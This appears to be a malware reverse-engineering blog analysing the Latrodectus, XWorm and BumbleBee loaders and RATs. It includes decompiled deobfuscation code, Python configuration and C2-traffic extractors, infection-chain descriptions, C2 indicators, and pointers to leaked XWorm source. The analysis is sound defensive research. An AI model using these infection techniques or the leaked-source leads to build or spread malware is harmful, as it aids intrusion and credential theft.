  for ( i = 0; i < (int)length; ++i )
  {
    v3 = ptr_buff_obfuscated[i];
    seed = prng2(seed);
    buff_dest[i] = seed ^ v3;
  }
  return buff_dest;
}

Code Snippet 11: Previous version of the deobfuscation function

And the PRGN2 decompiled function was:

__int64 __fastcall prng2(int seed)
{
  unsigned __int64 v1; // kr00_8
  unsigned int v3; // [rsp+8h] [rbp+8h]

  v1 = (unsigned __int64)(((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) << 31) | ((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) >> 1)) << 30;
  v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) >> 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));
  return (v3 >> 31) | (2 * v3);
}

Code Snippet 12: PRGN2 function oldest Latrodectus version

The medium article from walmartglobaltech IcedID gets Loaded provided a Python implementation of the PRGN2 algorithm:

import struct
import binascii

def mask(a):
    return a & 0xFFFFFFFF


def prng2(seed):
    temp = mask((seed + 0x2E59))
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 2
    temp = mask(temp << 0x1E)
    temp |= temp2
    temp ^= 0x6387
    temp ^= 0x769A
    temp2 = mask(temp << 2)
    temp >>= 0x1E
    temp |= temp2
    temp2 = mask(temp << 1)
    temp >>= 0x1F
    temp |= temp2
    return temp


def decode(s):
    (seed, l) = struct.unpack_from("<IH", s)
    l = (l ^ seed) & 0xFFFF
    if l > len(s):
        return b""
    temp = bytearray(s[6 : 6 + l])
    for i in range(l):
        seed = prng2(seed)
        temp[i] = (temp[i] ^ seed) & 0xFF
    return temp


string = binascii.unhexlify("F5788452F8781A6EEE4623114A578F9A44B3E10000")
print(decode(string).decode())

Code Snippet 13: Python implementation of Latrodectus PRGN2

URLS|%d|%s
�

The strings obfuscation have been used by Latrodectus in its early version, however the developper removed the PRNG2 part and replace it with a seed incrementation…

TTPs #

According to 0x0d4 article the infection chain got some update, however the campaign pattern remain the same:

Stage 0: A JavaScript Downloader is used to download a MSI from a first infrastructure;
Stage 0: The JavaScript execute the MSI;
Stage 1: The MSI uses a custom action to run rundll32.exe to execute the Latrodectus DLL;
Stage 2: Latrodectus communicates with its own infrastructure;

Figure 10: Previous campaign infection chain

The last campaign introduce Brute Ratel usage between the MSI and Latrodectus DLL.y

Figure 11: Recent campaign infection chain introducing Brute Ratel

In the May-June update, Latrodectus operators introduced a new stage between stages 1 and 2. The threat actors use an MSI to execute BruteRatel, which then drops Latrodectus. The primary hypothesis for the presence of BruteRatel is to detect and evade defenses before dropping the Latrodectus payload. According to the analysis of the Latrodectus malware, there is no advanced or effective sandbox, virtual, or analysis environment detection implemented, hence the use of BruteRatel.

Configuration extractor #

The targeted configuration in the sample includes:

C2 URLs
RC4 key
Group (probably the affiliate name or campaign name)

All the “configuration” is obfuscated using the same technique as other strings in the malware. The structure of the obfuscated string consists of a key (first 4 bytes) and a seed (next 2 bytes), which are the same for all obfuscated strings.

To identify what will be called a LATRODECTUS_OBFUSCATED_EGG in the extractor, we follow these steps:

Extract the data from the .data section;
Split the data as if it were a normal string using data.split(b"\x00");
Create a list containing the first 4 bytes of each split string;
Use a Python Counter from the collections standard module to identify the starting buffer with the most occurrences;
Use the identified EGG to split data (obfsucated string);
Extract data from the mathes of the EGG that contains the key and the seed, combining both with a XOR operation give the string size size = (key ^ seed) & 0xff;
Get the obfsucated data from the above match offset and the size;
Debfuscated each string;
Match URL using the http first character;
Base on all analyzed sample, the group is always place after the ERROR string (the C2 command) and the RC4 key is always after the /files/ string (used to replace some C2 response body).

import re
import struct
import pefile
import logging

from collections import Counter
from typing import Optional, List, Dict

logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)


def parse_pe(pe_path: str) -> bytes:
    """Extract data from the .data section of the PE,
    returns a byte array otherwise raise ValueError"""

    pe: pefile.PE = pefile.PE(pe_path)
    data_section: Optional[pefile.SectionStructure] = None

    for section in pe.sections:
        if section.Name.startswith(b".data"):
            data_section = section

    if not data_section:
        raise ValueError("no .data section found")

    return data_section.get_data()


def identify_latrodectus_egg_obfuscated_string(data: bytes) -> re.Pattern:
    """Identify the pattern at the beggining of the obfuscated strings"""

    # need to identifier the EGG_OBFUSCATED_STRING...
    patterns = []
    for str_data in filter(lambda x: x, data.split(b"\x00")):
        patterns.append(str_data[:4])

    EGG_PATTERN = Counter(patterns).most_common(1)[0][0]  # get the most common pattern

    if not EGG_PATTERN:
        raise ValueError("no begging string pattern found")

    # note the best way to build the RE pattern...
    LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b"(..)")
    logging.debug(f"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}")

    return LATRODECTUS_EGG_STRING


def deobfuscate_all_strings(
    data: bytes, LATRODECTUS_EGG_STRING: re.Pattern
) -> List[str]:
    """
    Split data by the LATRODECTUS_EGG_STRING,
    then deobfuscated each one of them and return their
    string value regarding their encoding: utf-8 or utf-16
    """

    strings: List[str] = []

    for match in LATRODECTUS_EGG_STRING.finditer(data):
        start_position = match.start() + 6
        key, seed = struct.unpack("<ih", match.group())
        size = (key ^ seed) & 0xFF

        ciphertext = data[start_position : start_position + size]
        cleartext = bytearray(size)

        for index in range(size):
            key += 1
            cleartext[index] = (key ^ ciphertext[index]) & 0xFF

        if cleartext.endswith(b"\x00" * 2):  # wide string
            strings.append(cleartext.decode("utf-16"))
        else:
            strings.append(cleartext.decode())

    return strings


def extract_configuration_from_cleartexts(strings: List[str]) -> Dict:
    configuration = {"C2": [], "rc4_key": "", "group": ""}

    for index, value in enumerate(strings):
        if value == "ERROR\x00":
            configuration["rc4_key"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"rc4 key is: {configuration['rc4_key']}")
        if value == "/files/\x00":
            configuration["group"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"latrodectus group: {configuration['group']}")
        if value.startswith("http"):
            configuration["C2"].append(value.replace("\x00", ""))
            logging.debug(f"update C2: {configuration['C2']}")

    logging.info(configuration)
    return configuration


def main(path: str) -> Dict:
    """take a PE path and return
    the Latrodectus configuration"""

    data = parse_pe(path)
    EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)
    strings = deobfuscate_all_strings(data, EGG_STRING)
    configuration = extract_configuration_from_cleartexts(strings)
    return configuration


if __name__ == "__main__":
    import sys

    path = sys.argv[1]
    try:
        print(main(path))
    except Exception as err:
        logging.error(f"failed to extract configuration from {path}, error: {err}")

Code Snippet 14: Latrodectus configuration extractor

External references #

Conclusion #

Even after the large LEA operation at the beginning of 2024 (Operation Endgame), Latrodectus remains a major threat in the cybercrime landscape. The various updates it has received are a reliable indicator that the threat actors behind this malware are continuously improving the malware and its techniques.

I hope you enjoy the read :pray:. All feedback is welcome.

Focus on XWorm obfuscation 🪱

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Wed, 07 Jun 2023 00:00:00 +0200

XWorm is a Remote Access Trojan (RAT) developed in .NET, the malware is mostly spread via phishing campaigns using homemade or opensource packing tools. Note, that some versions of the source code have leaked on Cybercrime forums and also on Telegram channels. This analysis focuses on the XWorm version 3.0.

TL;DR XWorm #

The malware has many functionalities: Virtual environment detection, command execution, file download/upload, persistent after reboot, keylogging, etc… An interesting feature of the RAT is the plugin configuration; attackers can configure plugins that are downloaded and executed by the RAT during the infection. The plugins are mainly DLL in .NET, the last section explains how to extract XWorm plugins from network capture.

The next sections detail how the RAT managed its configuration deobfuscation, then how the Command and Control (C2) communication works.

Links to download the sample used for this analysis:

The RAT have been spotted at the end of November 2022 distributed in malspam campaigns, as reported in this tweet:

Most people don't tag their precise location in Tweets, so we're removing this ability to simplify your Tweeting experience. You'll still be able to tag your precise location in Tweets through our updated camera. It's helpful when sharing on-the-ground moments.
— Twitter Support (@TwitterSupport) June 18, 2019

One reason of the rise of XWorm observed in the wild could be the leak of the source code:

XSS forum: xss.]is/threads/75837/;
Shinyenigma Github repository: Shinyenigma/XWorm-RAT.

XWorm data obfuscation #

The RAT configuration is stored in a class of the namespace Stub, where variables value are encoded in base64, in this version of the sample namespaces, classes and variables names are randomized to slow down the analysis, however, the structure of the code remains the same as clear sample! This naming randomization is becoming more and more popular amoung threat actors that have XWorm in their arsenal.

Figure 1: XWorm configuration decryption using AES (ECB No padding)

XWorm first deobufscates its configuration, it initiates a CryptServiceProvider, then the RAT compute the MD5 hash of a variable (named Mutex) located in its configuration class. Finally the hash is manipulated (oddly 🙃) to create the decryption key used to decrypt the rest of configuration (host, port, etc.).

XWorm uses Rijndael The Advanced Encryption Standard (AES), also known by its original name Rijndael https://en.wikipedia.org/wiki/Advanced_Encryption_Standard encryption in ECB (Electronic CodeBook) mode, no IV (Initial Vector) is required here. To create the key, the malware creates the MD5 hash of a variable copies the 8 first bytes to store them at the beginning of a new allocated array (of 16 bytes; the decryption key length), then re-copies these same 8 bytes to the key array but not after the 8 first bytes but from the 7^th byte to the 15 byte. The last byte (16^th) is zero (due to the array initialization). The figure below schematizes how the key is built.

+----------+  Base64 decode    +--------+
| Variable +------------------>| Array  |
+----------+                   +-----+--+
                                     |
                                     +-MD5
                                     |
                               +-----v--------------------------+
                               |dfe3ee833129588467dcf63d547b5806|
                               +--------------------------------+
                               0               8                16 (bytes)
                               + -----+------- +
                                      |  Copy
                                      +---------------+
                                      |               |
                                      |               v
                                      |       + --------------+
                                      v       |dfe3ee8331295884|
                               +--------------- +
                               |dfe3ee8331295884|
                               +--------------+-+---------------+--+
                               |              |X|               |00|
                               +--------------+-+---------------+--+
                               0              7 8               15 16 (bytes)

NB:

the bytes 7 is overwritten
the last byte of the key is fill with null byte
the Rijndael key is 16 bytes long.

Code of the class in charge of the configuration ⤵️

using System;
using Microsoft.VisualBasic;

// Token: 0x02000007 RID: 7
public class 1155SI5ci4n22Hgtjad9sWuTzrR6TsPd3
{

	public static string 1mDweS2QdR()
	{
		return "1CWdwE8cqZ";
	}

	public static int EzSG3aY6W9()
	{
		return 99534703;
	}

	public static string Kxcu3hu0i2()
	{
		return "3SXF4Z2FNV";
	}

	public static int mOGPU4rRYz()
	{
		return 1112926;
	}

	public static string P9aS8dF2nvwBlMKsX6mGmz9cpNwVvrwuR = "VpmZ71vaW8IbCUUhXaZYmIZ+fg3gEPqzqfEpJeFIWv0=";

	public static string O3fw8tjb6Ybd2xdW1giyBzQmbNOjR0msp = "a6SLXA5CKiTAVsnJwB7XJw==";

	public static string hmapdKWqyxSWCy3WcMMHwiP4mJaWTptDB = "bvUFyfn2d6e7YEJt9/zw/A==";

	public static string iOHL4ozmm3zDihnbDjArk0EELSZcjGaht = "suGMnRXFX/LRVfGLaUEsHA==";

	public static int bq1mI0Edvncwx7ALBYKSeIcOOIBhaoFYg = 3;

	public static string vJsr4si0NzLXgwfc4qHHmiEQitrHJl3Dk = "5D+67sZ9S91x7RZPyaBWwBnRhFtzU62dUOgoP7j7MdQ=";

	public static string xDJM0Hxvl8n38SrNt95dqrkiScRfNClzh = "%AppData%";

	public static string uVIC8wouZBTVmqNmkP5u6gKlFXjOtuSz8 = "FIubOp8mcEdS0i5b";

	public static string w4IoWC1BczHdJNaHCSWko7r27h7MJfJJM = Interaction.Environ("temp") + "\\Log.tmp";
}

Code Snippet 1: Configuration class of XWorm (source: DnSpy)

In this version of the RAT variables name are obfuscated, the two highlighted variables are the communication key (first variable from the top) and the second one is what was named Mutex. The mutex is the variable holding the base string used to build the decryption key for the configuration. The variable holding the key used for communication encryption/decryption need to be first decrypted by the same method used for the rest of the configuration decryption before behing used for the communication.

Once decrypted, the configuration of XWorm is:

Purpose	Value obfuscated	Cleartext
C2 Host	VpmZ71vaW8IbCUUhXaZYmIZ+fg3gEPqzqfEpJeFIWv0=	`names-again.at.playit.]gg`
C2 Port	a6SLXA5CKiTAVsnJwB7XJw==	`59741`
AES key for communication	bvUFyfn2d6e7YEJt9/zw/A==	`<123456789>`
Message split pattern	suGMnRXFX/LRVfGLaUEsHA==	`<Xwormmm>`
Installation name	5D+67sZ9S91x7RZPyaBWwBnRhFtzU62dUOgoP7j7MdQ=	`Microsoft OneDrive.exe`

Here is the cyberchef recipe.

Command and Control Communication #

XWorm communications are encrypted with AES algorithm in ECB mode. The RAT uses raw TCP connection on a port defined by the attacker. Exchanged messages are not fully encrypted, in fact the first bytes contains the size of the message followed by a null bytes (used as a split pattern) in cleartext, see the figure below where the size of the message is in black, the split pattern in red and the encrypted message in blue.

Figure 2: XWorm raw TCP message in hexdump format

Once the mutex and the communication key are identified you can use this script to deobfuscate the RAT communication.

  import sys
  import argparse
  import binascii
  import hashlib
  from base64 import b64decode
  from collections import deque
  from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  from cryptography.hazmat.backends import default_backend

  backend = default_backend()


  def decrypt_XWorm_configuration(mutex: str, configuration: str) -> bytes:
      """configuration are stored in base64, the key used for the
      configuration decryption is the MD5 hash (re-arranged) of the
      variable `Mutex`"""

      md5 = hashlib.md5(mutex.encode())
      md5 = md5.digest()

      key = md5[:-1] + md5 + b"\x00"

      decoded_configuration = b64decode(configuration)

      decryptor = Cipher(algorithms.AES(key), modes.ECB(), backend).decryptor()

      return decryptor.update(decoded_configuration)



  def decrypt_XWorm_communication(mutex: str, com_key: str, packet: str):
      """Rijndael decryption of XWorm communcation"""

      clear_com_key = decrypt_XWorm_configuration(mutex, com_key)
      clear_com_key = clear_com_key[:-clear_com_key[-1]]

      hpacket = binascii.unhexlify(packet)
      hpacket = hpacket.split(b"\x00", maxsplit=1)
      size, message = int(hpacket[0]), hpacket[1]

      clear_com_key = hashlib.md5(clear_com_key).digest()

      decryptor = Cipher(algorithms.AES(clear_com_key), modes.ECB(), backend).decryptor()
      cleartext = decryptor.update(message)
      cleartext = cleartext[:-cleartext[-1]]

      if len(cleartext) < 1000 and cleartext:
	  print(size, cleartext)

      if not abs(len(cleartext) - size) >= 16 and len(cleartext) > 1000:
	  print(f"Download plugin: {cleartext[:100]}")
	  with open(f"packet-{len(cleartext)}.bin", "wb") as f:
	      f.write(cleartext)

      return False if abs(len(cleartext) - size) >= 16 else True


  def main(mutex: str, com: str):
      """Main function to decrypt XWorm communication"""

      queue = deque(map(lambda x: x.replace("\n", ""), sys.stdin.readlines()))

      while queue:
	  try:
	      packet = queue.popleft()
	      if not decrypt_XWorm_communication(mutex, com, packet):
		  queue.insert(0, f"{packet}{queue.popleft()}")
	  except Exception as err:
	      if queue:
		  queue.insert(0, f"{packet}{queue.popleft()}")


  if __name__ == "__main__":
      # mutex = "FIubOp8mcEdS0i5b"
      # com = "bvUFyfn2d6e7YEJt9/zw/A=="

      parser = argparse.ArgumentParser("Script to decrypt XWorm communication")
      parser.add_argument("-m", "--mutex", help="Mutex holding the configuration decryption key")
      parser.add_argument("-c", "--com", help="Communication key (encrypted version)")

      args = parser.parse_args()

      main(mutex=args.mutex, com=args.com)

Code Snippet 2: Python script to decrypt XWorm communication

To dump the XWorm messages in cleartext from a PCAP, use the following command:

   tshark -r /tmp/dump.pcapng -Y "tcp.port == 3395" -e tcp.payload -Tjson |
       jq -r ".[]._source.layers[][]" |
       python3 decrypt_xworm_com.py --mutex="FIubOp8mcEdS0i5b" --com="bvUFyfn2d6e7YEJt9/zw/A=="

This sample of XWorm communicates on port 3395.

  b'INFO<Xwormmm>9623CE2085896DD4BD55<Xwormmm>Admin<Xwormmm> Windows 10 Pro 64bit<Xwormmm>XWorm V3.0<Xwormmm>23/02/2023<Xwormmm>False<Xwormmm>True<Xwormmm>False<Xwormmm>None'
  b'PING!'
  b'plugin<Xwormmm>179DCD0BAD17DB8E467A40D7B57437461CDC3263090966A687BDD40B279E4DF2<Xwormmm>0'
  b'sendPlugin<Xwormmm>179DCD0BAD17DB8E467A40D7B57437461CDC3263090966A687BDD40B279E4DF2
	...

Code Snippet 3: Output of XWorm PCAP decryption by the Python script

XWorm plugins #

As introduced, XWorm has the capability to download and execute plugins. This mechanism is simple, here is its workflow:

The C2 send available plugins: plugin<Xwormmm>Id of the plugin<Xwormmm>
The RAT ask the C2 to send the plugin: sendPlugin<Xwormmm>Id of the plugin
The C2 send the plugin: savePlugin<Xwormmm>Id of the plugin<Xwormmm>\x00\xc2\x07\x00<DLL .NET >

Referred to Figure 2 where the last packet (in the figure) received by the infected host has a size of 420736 bytes, in fact this is a plugin sent by the C2. This sample of XWorm downloads a plugin name Recover.dll with the following SHA-256: 179dcd0bad17db8e467a40d7b57437461cdc3263090966a687bdd40b279e4df2, the plugin attempts to loot passwords and other authentication items.

The script dumps messages whose size exceeds 1000 bytes into a file, which is useful to dump XWorm plugins downloaded from the C2.

BumbleBee notes 🐝

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Wed, 29 Mar 2023 00:00:00 +0200

BumbleBee is categorized as a Loader, the malware is used by Initial Access Brokers to gain access in targeted companies. This article aims to summarizing the different TTPs observed in campaigns distributing BumbleBee and provides a script to extract its configuration.

TL;DR BumbleBee #

The loader delivers diverse payloads (e.g: Cobalt Strike, ransomware, etc), the operators of BumbleBee have been named EXOTIC LILY by the TAG in a report published in March 2022. Google TAG article mentionned BumbleBee Loader (e.g: The user-agent set to bumblebee, hence dubbed BUMBLEBEE. https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/ Moreover, similarities with other loaders in terms of operation have been noticed notably with IcedID and Emotet. Code similarty (hook installation) with Trickbot have been observed and explained in the post The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. The malware is well documented by now (March 2023) as evidenced by the number of reports on malpedia.

BumbleBee capabilities #

The malware has a custom unpacking mechanism, it manipulates hooks to setup its execution chain, the loader uses multiple environment detection techniques because of the complete integration of the project al-khaser al-khaser is a PoC “malware” application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar. . It communicates with its command and control over HTTP. Since August 2022 the malware embeds a list of IP addresses in its configuration, some of them are legitimate IP addresses, this technique is also used by other malware such as Emotet and Trickbot.

BumbleBee command and control IP addresses, port and the bot (or botnet) identifier are stored in the .data section, obfuscated with the RC4 encryption algorithm. A script to extract and deobfuscate them is provided at the end of this post.

Campaigns file format #

First malspam campaign which delivered BumbleBee contains a web link to a protected ZIP archive.

The archive contains an ISO file;
The ISO contains a LNK file and a DLL file;
The LNK executes rundll32.exe to invoke the embedded DLL;

Figure 1: BumbleBee infection chain with ISO file

This model of campaign was used for months. During the summer of 2022, actors updated the disk image format from ISO to VHD. Content of disk image (VHD) changed too, the DLL is no more stored as a file, but it is embed obfuscated in a PowerShell script. The script is executed by the LNK with the execution policy set to bypass. The BumbleBee’s DLL is stored in the PowerShell script in obfuscated strings (e.g: $elem30=$elem30.$casda.Invoke(0,"H")). After strings replacement, the base64 encoded variable is decoded, decrompressed (ungzip) and invoked (e.g: scriptPath | iex).

Figure 2: BumbleBee infection chain with VHD file

NB: File sharing service used to deliver BumbleBee change regulary e.g.: WeTransfer, Onedrive, Smash, etc. Details of a campaign using onedrive file sharing website are written in the article: Bumblebee DocuSign Campaign.

Examples IOCs:

Configuration extractor #

As introduced above, the configuration is stored encrypted with the RC4 algorithm. RC4: Rivest Cipher 4, also known as ARC4: https://en.wikipedia.org/wiki/RC4 The key is in cleartext in the binary and its length is repeatedly (for BumbleBee case) fixed to 10 characters.

Here is the two functions that implement RC4 algorithm in BumbleBee:

Figure 3: BumbleBee implemenation of PRGA of RC4 algorithm

Figure 4: BumbleBee implementation of KSA of RC4 algorithm

The key is stored at the end of the blob of data containing the encrypted list of IP addresses. After analysing few samples of BumbleBee, it appears that the blob of data containing the IP addresses is always 4105 bytes long (plus one null byte) which is a pattern to look for in the DLL for a C2 extractor.

Figure 5: Location of the blob and the RC4 key

The script below attempts to loop over data until a blob matches the blob size, then it extracts the RC4 key (the last 10 bytes of the blob) to finally decrypt the data.

  from cryptography.hazmat.primitives.ciphers import Cipher
  from cryptography.hazmat.primitives.ciphers.algorithms import ARC4


  def decrypt_rc4(key: bytes, ciphertext: bytes) -> bytes:
      """Decrypt RC4 encrypt data, `pip install cryptography`"""

      algorithm = ARC4(key)
      cipher = Cipher(algorithm, mode=None)
      decryptor = cipher.decryptor()
      cleartext = decryptor.update(ciphertext)

      return cleartext


  def get_bumblebee_c2(data: bytes) -> bytes:
      """
      Command and Control are stored at the end of the .data section,
      the configuration of the obfuscated C2 and its associated RC4
      are stored in the same blob with a fixed lenght of
      4105 plus one null byte (4106).
      !\xac\xd2\xfe=;\x87\x94\xebP\x8e@\x08}\x00/^I\xd4\x86\xaf\xd2\x14-
      \x16\x89A\xa9uT\x00\xbduC\xb7\x9e~\x19\xac\x9f\xb4\x0f\xae>\xcc
      \x96S]\xb56\x93C\x9d*p\xed\xc9\x04:Oew\xc3*X`:a\xe0T\x8e\x93>\xf9
      \xf8\xe2\x17Q\x15b,8\xa8[\xf5N\x93\xffMM]\x8d\xec\xde\x13\x95z\xc3
      ...
      ...
      ... <redatacted> ...
      \xd4\x00\xa1xZ:\x1e\x90\x00X\xea\xca\x0c\'\xee\xffOR5tw\xc0I\x86R"!
      \xf8\xa3\x87\xc8\x16Mo_5\x82_\x81\x9f<RC4 key composed by 10 bytes>
      """

      c2 = b""

      for blob in map(lambda x: x.strip(b"\x00"), data.split(b"\x00" * 4)):
	  if len(blob) == 4106:
	      key = blob[-10:]
	      ciphertext = blob[:-10]
	      c2 = decrypt_rc4(key, ciphertext)
	      c2 = c2.replace(b"\x00", b"")
	      print(f"BumbleBee Command and Control IoCs: {c2}")

      return c2


  if __name__ == "__main__":
      import sys

      with open(sys.argv[1], "rb") as f:
	  get_bumblebee_c2(f.read())

Code Snippet 1: BumbleBee C2 extractor

PS: Tested with the package cryptography with the version: 3.4.8.

Go head and re-use, adapt the script for your needs!

RE on Krakz

ACECrypter unpacking walktrough 📦

Stage 0 - Too much noice #

Stage 1 - Shellcode #

Stage 2 - Next stage execution #

Anti Sandbox #

Trigger the execution #

Other great analysis #

Tools #

Latrodectus dropped by BR4 🕷️

Context #

Stage 0 (Form_Ver-X-X-X.js) pivot #

Stage1: MSI #

Stage 2 BruteRatel: aclui.dll #

Stage 3: Latrodectus sample analysis #

Overview #

Dynamic API resolution #

string obfusatation #

Persistence #

Defense evasion #

Command and Control Communication #

Host & Domain recon #

YARA #

Artefacts hunting #

Latrodectus Update #

Strings obfuscation #

TTPs #

Configuration extractor #

External references #

Conclusion #

Focus on XWorm obfuscation 🪱

TL;DR XWorm #

XWorm data obfuscation #

Command and Control Communication #

XWorm plugins #

BumbleBee notes 🐝

TL;DR BumbleBee #

BumbleBee capabilities #

Campaigns file format #

Configuration extractor #

Resources #